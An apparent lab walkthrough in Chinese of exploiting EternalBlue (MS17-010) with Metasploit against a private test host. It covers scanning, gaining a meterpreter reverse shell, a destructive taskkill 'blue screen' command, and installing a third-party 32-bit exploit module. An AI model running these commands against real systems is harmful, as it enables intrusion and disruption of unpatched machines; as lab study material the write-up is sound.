文章目录
- 永恒之蓝 ms17-010
- 1. 漏洞介绍
- 1.1 影响版本
- 1.2 漏洞原理
- 2. 信息收集
- 2.1 主机扫描
- 2.2 端口扫描
- 3. 漏洞探测
- 4. 漏洞利用
- 5. 特殊情况
- 5.1 安装wine32环境
- 5.2 安装攻击32位操作系统所用的的脚本
永恒之蓝 ms17-010
很久之前做过的永恒之蓝漏洞…
1. 漏洞介绍
永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
1.1 影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
1.2 漏洞原理
通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。
2. 信息收集
2.1 主机扫描
arp-scan -l
2.2 端口扫描
nmap -O -sS -T4 192.168.188.222
3. 漏洞探测
msfconsole
# 搜寻模块
search ms17-010
# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info
使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。
show options
RHOSTS选项为空,需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数。
set rhosts 192.168.188.222
显示该主机很可能能够会受到永恒之蓝漏洞的攻击。
run
4. 漏洞利用
search 17-010
设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。
set payload windows/x64/meterpreter/reverse_tcp
设置攻击目标
set rhosts 192.168.188.222
run
拿下该主机的shell,执行cmd命令。
getuid
ipconfig
蓝屏攻击
taskkill /f /fi "pid ne 1"
命令解析:
-
用于在 Windows 操作系统中终止进程的命令。它的作用是强制结束所有除了系统进程(PID为1)之外的其他进程。
-
在 Windows 操作系统中,进程标识符(PID)为 1 的进程通常是系统进程,也称为"System"进程或"System Idle Process"进程。这个进程是操作系统内核的一部分,负责管理和调度其他进程的运行。
5. 特殊情况
由于不知道目标操作系统是32位还是64位的,我们在使用ms17010攻击模块的时候常规使用64位来进行攻击。
如果在攻击的时候,出现攻击失败等提示信息,那么说明该模块只能攻击64位操作系统,也说明了目标靶机是32位的操作系统。
5.1 安装wine32环境
apt-get install wine32
在执行exploit时可能会出现 :
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"
按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
验证是否安装成功
wine --version
用wine32执行cmd.exe
wine cmd.exe
5.2 安装攻击32位操作系统所用的的脚本
首先下载利用的脚本:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb
cd Eternalblue-Doublepulsar-Metasploit/
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
接下来使用exploit模块(步骤同上,原理同上)
msfconsole
search eternalblue #或者search ms17-010
如果在成功打过去了,但是一直频繁的刷shell的信息,就是回弹不出shell的终端,这个是为什么?
- 防火墙或安全软件阻止了反向连接:目标系统上可能配置了防火墙或安全软件,阻止了从被攻击系统回连到攻击者控制的服务器的连接。这样一来,即使成功执行了恶意代码,也无法建立与攻击者服务器的连接,导致无法回弹 shell。
- 网络配置问题:目标系统的网络配置可能存在问题,例如无法访问互联网、网络隔离等,导致无法回连到攻击者的服务器。
- 安全补丁或安全措施:目标系统可能已经应用了相关的安全补丁或采取了其他安全措施,修复了永恒之蓝漏洞或阻止了其利用。这样一来,攻击者无法成功利用漏洞,也无法回弹 shell。